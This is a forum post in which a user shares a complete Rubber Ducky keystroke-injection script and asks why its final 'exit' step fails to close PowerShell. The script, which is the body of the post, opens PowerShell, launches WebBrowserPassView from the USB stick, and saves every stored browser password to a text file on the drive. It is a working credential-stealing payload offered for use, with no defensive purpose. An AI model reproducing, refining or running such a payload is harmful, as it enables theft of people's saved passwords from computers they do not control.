Jump to content

Can't exit out of PowerShell using Rubber Ducky


Recommended Posts

Recently bought a Rubber Ducky, it is a little janky but other than that it works as intended. I recently fixed (or tried to at least tried to) this guys payload, and it works perfectly except I can't get the script to exit powershell. 

Here's the script:

REM Made By Rams3sth3s3c0nd (fixed by AlexIsABruh)
REM "what does it do?" gets all saved google passwords
REM you WILL need twinduck
REM you need WebPassView and a .bat file (rename it "OpenPass") with in it the text: start WebBrowserPassView.exe
REM opens powershell
DELAY 500
GUI r
DELAY 150
STRING powershell
DELAY 50
ENTER
DELAY 250
REM navigates to USB drive usb is called DUCKY for me
STRING $usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq 'DUCKY' } | select name
DELAY 50
ENTER
DELAY 50
STRING cd $usbPath.name
DELAY 50
ENTER
DELAY 50
REM opens the .bat script
STRING ./OpenPass.bat
ENTER
REM saves the passwords in txt file
DELAY 7500
CONTROL A
DELAY 500
CONTROL S
DELAY 500
F4
DELAY 500
CONTROL A
DELAY 500
REM IMPORTANT: change the "E" to whatever your usb-drive letter is.
STRING E:\
DELAY 50
ENTER
DELAY 50
ENTER
DELAY 50
ENTER
DELAY 50
STRING PASSWORD
DELAY 50
ENTER
ALT F4
DELAY 50
REM Exiting PowerShell and Finishing up
STRING exit
REM now check in the usb folder and you will see a .txt folder with all the logged passwords

Everything except the "STRING exit" works

Link to comment
Share on other sites

  • 3 months later...

Archived

This topic is now archived and is closed to further replies.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...